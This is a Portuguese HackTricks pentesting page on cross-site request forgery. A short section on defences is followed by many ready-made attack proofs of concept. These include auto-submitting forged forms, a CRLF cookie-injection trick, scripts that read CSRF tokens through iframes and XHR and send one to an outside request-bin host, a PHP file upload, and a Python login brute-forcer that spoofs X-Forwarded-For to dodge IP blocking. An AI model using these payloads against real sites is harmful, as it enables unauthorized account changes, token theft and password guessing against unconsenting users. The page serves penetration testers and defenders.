hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

27 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Explicação de Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como execução de JavaScript, envio de formulários ou busca de imagens.

Pré-requisitos para um Ataque CSRF

Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:

  1. Identificar uma Ação Valiosa: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
  2. Gerenciamento de Sessão: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse fim.
  3. Ausência de Parâmetros Impraticáveis: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.

Verificação Rápida

Você pode capturar a solicitação no Burp e verificar as proteções CSRF e para testar no navegador você pode clicar em Copiar como fetch e verificar a solicitação:

Defendendo-se Contra CSRF

Várias contramedidas podem ser implementadas para se proteger contra ataques CSRF:

  • Cookies SameSite: Este atributo impede o navegador de enviar cookies junto com solicitações entre sites. Mais sobre Cookies SameSite.
  • Compartilhamento de Recursos entre Origens: A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requer a leitura da resposta do site da vítima. Saiba mais sobre a bypass de CORS.
  • Verificação do Usuário: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
  • Verificação de Cabeçalhos Referrer ou Origin: Validar esses cabeçalhos pode ajudar a garantir que as solicitações venham de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
  • Usando http://mal.net?orig=http://example.com (URL termina com a URL confiável)
  • Usando http://example.com.mal.net (URL começa com a URL confiável)
  • Modificar Nomes de Parâmetros: Alterar os nomes de parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
  • Tokens CSRF: Incorporar um token CSRF único em cada sessão e exigir este token em solicitações subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aprimorada ao aplicar CORS.

Compreender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.

Bypass de Defesas

De POST para GET

Talvez o formulário que você deseja explorar esteja preparado para enviar uma solicitação POST com um token CSRF, mas, você deve verificar se um GET também é válido e se, ao enviar uma solicitação GET, o token CSRF ainda está sendo validado.

Falta de token

Aplicações podem implementar um mecanismo para validar tokens quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for ignorada completamente quando o token estiver ausente. Os atacantes podem explorar isso removendo o parâmetro que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.

Token CSRF não está vinculado à sessão do usuário

Aplicações que não vinculam tokens CSRF às sessões de usuário apresentam um risco significativo à segurança. Esses sistemas verificam tokens em um pool global em vez de garantir que cada token esteja vinculado à sessão iniciadora.

Veja como os atacantes exploram isso:

  1. Autenticam-se usando sua própria conta.
  2. Obtêm um token CSRF válido do pool global.
  3. Usam este token em um ataque CSRF contra uma vítima.

Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.

Bypass de Método

Se a solicitação estiver usando um "método estranho", verifique se a funcionalidade de substituição de método está funcionando. Por exemplo, se estiver usando um método PUT, você pode tentar usar um método POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT

Isso também pode funcionar enviando o parâmetro _method dentro de uma solicitação POST ou usando os cabeçalhos:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass de Token de Cabeçalho Personalizado

Se a solicitação estiver adicionando um cabeçalho personalizado com um token à solicitação como método de proteção CSRF, então:

  • Teste a solicitação sem o Token Personalizado e também o cabeçalho.
  • Teste a solicitação com mesmo comprimento, mas token diferente.

Aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação corresponde ao valor no cookie.

No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.

Abaixo está um exemplo de como um ataque poderia ser estruturado:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Note que se o token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará porque você precisará definir a sessão da vítima, e, portanto, estará se atacando. {% endhint %}

Mudança de Content-Type

De acordo com este, para evitar solicitações de pré-voo usando o método POST, estes são os valores de Content-Type permitidos:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

No entanto, observe que a lógica dos servidores pode variar dependendo do Content-Type usado, então você deve tentar os valores mencionados e outros como application/json,text/xml, application/xml.

Exemplo (de aqui) de envio de dados JSON como text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Bypassando Solicitações de Preflight para Dados JSON

Ao tentar enviar dados JSON via uma solicitação POST, usar o Content-Type: application/json em um formulário HTML não é diretamente possível. Da mesma forma, utilizar XMLHttpRequest para enviar esse tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:

  1. Usar Tipos de Conteúdo Alternativos: Utilize Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded configurando enctype="text/plain" no formulário. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
  2. Modificar o Tipo de Conteúdo: Para evitar uma solicitação de preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com Content-Type: text/plain; application/json. Isso não aciona uma solicitação de preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar application/json.
  3. Utilização de Arquivo Flash SWF: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte este post.

Bypass de Verificação de Referência / Origem

Evitar o cabeçalho Referer

As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie este cabeçalho, a seguinte meta tag HTML pode ser usada:

<meta name="referrer" content="never">

Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.

Burlar Regexp

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Para definir o nome de domínio do servidor no URL que o Referer vai enviar dentro dos parâmetros, você pode fazer:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Bypassando o método HEAD

A primeira parte deste writeup CTF explica que o código-fonte do Oak, um roteador é configurado para lidar com solicitações HEAD como solicitações GET sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta.

Portanto, se uma solicitação GET estiver sendo limitada, você poderia simplesmente enviar uma solicitação HEAD que será processada como uma solicitação GET.

Exemplos de Exploração

Exfiltrando Token CSRF

Se um token CSRF estiver sendo usado como defesa, você poderia tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou uma vulnerabilidade Dangling Markup.

GET usando tags HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Pedido GET de formulário

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Pedido POST de formulário

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Enviar solicitação POST do formulário por meio de um iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Pedido POST Ajax

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

Pedido POST multipart/form-data

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

Pedido POST multipart/form-data v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Solicitação POST de formulário de dentro de um iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Roubar Token CSRF e enviar uma solicitação POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Roubar Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Roubar Token CSRF e enviar uma solicitação POST usando um iframe e um formulário

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Roubar token e enviá-lo usando 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTRoubar token CSRF com Ajax e enviar um post com um formulário

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF com Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

O código pode ser usado para Brut Force em um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Ferramentas

Referências

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: